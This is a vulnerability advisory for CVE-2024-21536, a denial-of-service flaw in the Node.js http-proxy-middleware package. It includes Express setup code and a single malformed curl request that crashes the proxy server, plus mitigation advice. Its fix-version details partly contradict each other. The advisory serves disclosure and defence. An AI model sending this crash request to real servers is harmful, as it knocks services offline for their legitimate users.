CVE-2024-21536

Overview

Http Proxy Middleware is a package for Node.js proxying. It allows users to configure proxy middleware for connect, express, browser-sync and more.

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A Denial of Service (DoS) vulnerability (CVE-2024-21536) has been identified in the http-proxy-middleware package caused by an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.

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Per OWASP: The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may cease to be available to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources it uses.

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This issue affects Http Proxy Middleware versions lower than 2.0.7 or greater than or equal to 3.0.0 and lower than 3.0.3.

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Details

Module Info

• Product: Http Proxy Middleware
• Affected packages: http-proxy-middleware
• Affected versions: <2.0.7, >=3.0.0 <3.0.3
• GitHub repository: https://github.com/chimurai/http-proxy-middleware
• Published packages: https://www.npmjs.com/package/http-proxy-middleware
• Package manager: npm
• Fixed in: Web Essentials NES Http Proxy Middleware v0.19.3

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Vulnerability Info

This High-severity vulnerability is found in the http-proxy-middleware package, affecting versions <2.0.7, >=3.0.0 <3.0.3.

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On v1 and v2 of http-proxy-middleware, it is possible to cause the server to crash with TypeError: Cannot read properties of null (reading 'indexOf') (from matchSingleStringPath). The crash occurs when an attacker requests a malformed url (like localhost:3030//x@x), such that the url is parsed to null and  matchSingleStringPath tries to call indexOf on something that isn’t actually a string. As soon as the code tries to run indexOf on a null, it throws the TypeError.

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Steps To Reproduce

1. Using Node v22, create a new project with the following dependencies

 "devDependencies": {
   "express": "^4.17.1",
   "http-proxy-middleware": "0.19.2"
  }

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2. Add an app.ts file and configure it to use http-proxy-middleware:

const express = require('express');
const proxy = require('http-proxy-middleware');

const app = express();
const port = 3030;

// Logging middleware for proxy
app.use((req, res, next) => {
  console.log(`[Proxy] Request received: ${req.method} ${req.originalUrl}`);
  next();
});

app.use(
  '',
  proxy({
    target: 'http://localhost:3031',
    onProxyReq: (proxyReq, req) => {
      console.log(
        `[Proxy] Forwarding request to backend: ${req.method} ${req.url}`
      );
    },
    onProxyRes: (proxyRes, req) => {
      console.log(
        `[Proxy] Received response from backend for: ${req.method} ${req.url}`
      );
    },
    onError: (err, req, res) => {
      console.error(`[Proxy] Error occurred: ${err.message}`);
      res.status(500).send('Proxy encountered an error');
    },
  })
);

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`);
});

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3. Add a backend.js file and configure it to be the destination server:

const express = require('express');

const backend = express();
const port = 3031;

// Logging middleware for backend
backend.use((req, res, next) => {
  console.log(`[Backend] Request received: ${req.method} ${req.originalUrl}`);
  next();
});

backend.get('/', (req, res) => {
  res.send('Backend response: OK');
});

backend.listen(port, () => {
  console.log(`[Backend] listening at http://localhost:${port}`);
});

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4. Start the servers: node app.js and node backend.js

5. Execute the malicious curl request: curl localhost:3030//x@x. Note the errors response from the proxy server:

TypeError: Cannot read properties of null (reading 'indexOf')

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Proof Of Concept

A full reproduction with code similar to the above can be found here:

DOS vulnerability POC

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Mitigation

Version 0.19.x of http-proxy-middleware has not received a patch for this CVE. For more information see the list of patched versions here.

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Users of the affected components should apply one of the following mitigations:

• Migrate affected applications away from the affected versions of http-proxy-middleware.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

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Credits

• Marc Hassan (finder)